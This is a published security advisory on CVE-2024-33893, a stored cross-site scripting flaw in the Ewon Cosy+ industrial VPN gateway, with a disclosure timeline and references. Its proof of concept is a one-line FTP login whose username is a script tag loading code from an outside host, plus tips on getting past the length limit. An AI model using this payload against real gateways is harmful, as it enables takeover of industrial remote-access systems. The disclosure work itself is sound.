Headline
Ewon Cosy+ Improper Neutralization / Cross Site Scripting
The Ewon Cosy+ is a VPN gateway used for remote access and maintenance in industrial environments. If login against the FTP service of the Cosy+ fails, the submitted username is saved in a log. This log is included in the Cosy+ web interface without neutralizing the content. As a result, an unauthenticated attacker is able to inject HTML/JavaScript code via the username of an FTP login attempt.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Advisory ID: SYSS-2024-016
Product: Ewon Cosy+
Manufacturer: HMS Industrial Networks AB
Affected Version(s): Firmware Versions: < 21.2s10 and < 22.1s3
Tested Version(s): Firmware Version: 21.2s7
Vulnerability Type: Improper Neutralization of Input During Web Page Generation (CWE-79)
Risk Level: Medium
Solution Status: Fixed
Manufacturer Notification: 2024-03-27
Solution Date: 2024-07-18
Public Disclosure: 2024-08-11
CVE Reference: CVE-2024-33893
Author of Advisory: Moritz Abrell, SySS GmbH
Overview:
The Ewon Cosy+ is a VPN gateway used for remote access and maintenance
in industrial environments.
The manufacturer describes the product as follows (see [1]):
"The Ewon Cosy+ gateway establishes a secure VPN connection between
the machine (PLC, HMI, or other devices) and the remote engineer.
The connection happens through Talk2m, a highly secured industrial
cloud service. The Ewon Cosy+ makes industrial remote access easy
and secure like never before!"
Due to improper neutralization of input, an unauthenticated attacker
is able to inject HTML and JavaScript code into the administrative
web interface of the device.
Vulnerability Details:
If login against the FTP service of the Cosy+ fails, the submitted
username is saved in a log.
This log is included in the Cosy+ web interface without neutralizing
the content.
As a result, an unauthenticated attacker is able to inject
HTML/JavaScript code via the username of an FTP login attempt.
Proof of Concept (PoC):
1. Login attempt against Cosy+ FTP service:
#> ftp "<script src=//x>"@192.168.10.33
2. JavaScript is included when visiting the event logs on Cosy+ web
interface (http://192.168.10.33/index.shtm#EVLogsTbl):
<div class="x-grid-cell-inner " style="text-align:left;">
eftp-Close FTP session (User: <script src="//x">
</div">
Note:
The FTP username is limited to 16 characters and therefore the
payload length is limited too.
However, exploitation is still possible, e.g. by controlling
DNS responses or using short URLs, e.g. an emoji domain.
Solution:
According to the manufacturer note[4], the vulnerability was fixed
with the firmware versions 21.2s10 and 22.1s3.
Disclosure Timeline:
2024-03-26: Vulnerability discovered
2024-03-27: Vulnerability reported to manufacturer
2024-04-02: Inquiry about the status
2024-04-05: Manufacturer acknowlegded the vulnerability and started the
analysis
2024-04-10: Two more vulnerabilities reported to the manufacturer
(SYSS-2024-032 and SYSS-2024-033)
2024-04-11: Manufacturer acknowlegded the vulnerabilities and asked for
a publication date for all findings
2024-04-12: Proposed dates for a discussion about publication
2024-04-15: Manufacturer sent a technical overview of planned remediation
actions and details about the planned timeline
2024-04-15: Acknowlegded the remediation actions and asked the manufacturer
to assign a CVE ID
2024-04-30: CVE ID CVE-2024-33893[5] assigned by the manufacturer
2024-05-31: Manufacturer informed that the fix is in completion stage and
asked if the blog post[6] can be reviewed by HMS
2024-06-04: Proposed dates to review the blog post draft
2024-06-21: Inquiry about the status
2024-06-21: Received an out-of-office auto reply
2024-07-01: Inquiry about the status
2024-07-04: Inquiry about the status
2024-07-12: Inquiry about the status and letting the manufacturer know that
the vulnerability will be published within a talk at DEF CON[7]
in August
2024-07-12: Manufacturer responded that the fix is planned by the end of
July; manufacturer asked again for reviewing the blog post
draft
2024-07-12: Again confirmed reviewing the blog post is possible and asking
for the sending of details
2024-07-17: Blog post provided to HMS
2024-07-18: Fixed firmware versions 21.2s10 and 22.1s3 released by HMS
2024-07-23: Inquiry about the status
2024-07-23: Manufacturer reviewed the blog post and confirmed that a
fix is provided
2024-07-29: Discussion with HMS about the blog post and final publication
actions
2024-08-11: Vulnerability disclosed at DEF CON[7]
2024-08-11: Blog post published[6]
References:
[1] Ewon Cosy+ product website
https://www.hms-networks.com/p/ec71330-00ma-ewon-cosy-ethernet
[2] SySS Security Advisory SYSS-2024-016
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-016.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] Manufacturer note
https://hmsnetworks.blob.core.windows.net/nlw/docs/default-source/products/cybersecurity/security-advisory/hms-security-advisory-2024-07-29-001–ewon-several-cosy–vulnerabilities.pdf
[5] CVE-2024-33893
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33893
[6] Blog post
https://blog.syss.com/posts/hacking-a-secure-industrial-remote-access-gateway/
[7] DEF CON talk
https://defcon.org/html/defcon-32/dc-32-speakers.html#54521
Credits:
This security vulnerability was found by Moritz Abrell of SySS GmbH.
E-Mail:[email protected]
Public Key:https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53
Disclaimer:
The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL:http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmay4vsACgkQrgyb+PE0
i1M+GA//R3tvHZW7B21Kf+8aZcVONuL56yzPOyqEdISB0joFi9yvzGkqCJPYws5t
vFojVlZT38COf64ZC2siFQCJrtOzMa+zWT3kpSeBFsNQ60Sx79UaCdQVa6GjpZm/
8qSNWtCpOMGmj95FwYaHuZbKxiSifyIjsVteADqiaysWVx7kXapktPSD2KiOBJSp
Ycg81WfRS10ELiUWoLZ5GTXhzQKzH0Tsh6h1qNHWy5GkHLwIQKkzicQ5wR1ZRzK4
o6k8cJySgAqgJ3gmGU9iUUElppPXj7EFOK7m8q0ny5gQpQfz3dMPxJz5eK8zBazd
1c9OjgdZNcgzschhKsl/JX+3YVGQzmNo5rSOIbJS4+7Oe0UcTaggzbgj80GGOakT
vLC9GqmgYUsv+yr2Dp10pUg/plySeScDhYlkZ+VN9GDcEVodiKzM6wukj1eDEw0+
6CzHKnGvKOa322AVnKF+xdB/c+sDCEaD73S47gt8CfG57J7bcpth3Gf9RkLtLFXC
U3yiT7FmY/KH7WZvmnyhsk/Go66aGRy0d1hQl/tzdnBVdDn1IZToymnC/YVDxqxc
Q9GsDhkpDOyozgrhUdef64RY5ZOzXcpNJvCM1RxjP65ZMxiPpZ0z/3IuGJ+DUWkM
f8Sm21hfsgkq8UmnLtSnDCUyPTxJISTK9lwleYkqodqJrXUlUD0=
=HV5Q
-----END PGP SIGNATURE-----Related news
The Ewon Cosy+ is a VPN gateway used for remote access and maintenance in industrial environments. Due to the use of a hardcoded cryptographic key, an attacker is able to decrypt encrypted data and retrieve sensitive information.
The Ewon Cosy+ is a VPN gateway used for remote access and maintenance in industrial environments. Due to improper neutralization of parameters read from a user-controlled configuration file, an authenticated attacker is able to inject and execute OS commands on the device.
The Ewon Cosy+ is a VPN gateway used for remote access and maintenance in industrial environments. The credentials used for the basic authentication against the web interface of Cosy+ are stored in the cookie "credentials" after a successful login. An attacker with access to a victim's browser is able to retrieve the administrative password of Cosy+.